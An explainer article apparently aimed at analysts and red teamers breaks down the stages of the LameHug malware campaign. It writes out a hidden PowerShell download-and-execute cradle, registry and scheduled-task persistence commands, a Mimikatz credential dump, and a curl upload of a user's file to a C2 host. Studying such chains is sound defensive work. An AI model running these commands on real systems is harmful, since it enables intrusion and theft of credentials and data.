Everything You Need to Know About LameHug Malware—With Real Technical Examples

The LameHug campaign operates using a multi-stage infection chain that targets unsuspecting users via popular messaging platforms. Below is a technical breakdown of how this malware executes and persists on systems—along with real-world command examples for system administrators, analysts, and red teamers to understand or replicate the process in lab environments.

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Stage 1: Delivery via Messaging Platform

• Method: Threat actors send .zip or .rar archives disguised as legitimate files (e.g., invoice, contract, photo album) via Telegram, Discord, or WhatsApp.
• Contents: A malicious .scr (screensaver), .exe, or .js file, often with a misleading icon or filename.

Example:

bash
Received_File.zip -> Invoice2025.scr

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Stage 2: Loader Execution and Obfuscation

Once the user double-clicks the disguised file, it runs a first-stage loader which is often packed or obfuscated using tools like UPX, VMProtect, or Bat to Exe Converter.

Command (as seen in malware sandbox logs):

bash
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://malicious-c2[.]com/payload.ps1')"

Tactics used:

• Base64-encoded PowerShell
• Living-off-the-land binaries (LOLBins) like certutil, mshta, regsvr32

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Stage 3: C2 Communication and RAT Deployment

The loader contacts a Command and Control (C2) server to download the main payload—commonly:

• XWorm
• QuasarRAT
• Remcos
• AsyncRAT

These tools allow attackers to:

• Log keystrokes
• Take screenshots
• Record webcam/audio
• Execute remote shell commands

Network Behavior Example (Detected via Wireshark or Zeek):

makefile

POST /gate HTTP/1.1
Host: c2.lamehug[.]xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Length: 410

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Stage 4: Persistence Mechanisms

The RAT sets up persistence via Windows registry or scheduled tasks:

Persistence via Registry:

powershell

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDriveUpdate /t REG_SZ /d "%APPDATA%\OneDrive\onedrive.exe"

Scheduled Task Persistence:

cmd

schtasks /create /tn "SystemCheck" /tr "C:\Users\%USERNAME%\AppData\Roaming\systemcheck.bat" /sc minute /mo 30

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Stage 5: Data Exfiltration and Spread

LameHug attempts to extract sensitive data (credentials, browser history, screenshots) and uploads it to the attacker’s server. In some variants, lateral movement tools are used (e.g., PsExec, RDP, WMI).

Credential Dumping (Simulated with Mimikatz):

powershell

Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "exit"'

File Exfiltration (Simulated in Testing):

bash

curl -X POST -F "file=@C:\Users\user\Documents\banking.xlsx" http://c2.lamehug[.]xyz/upload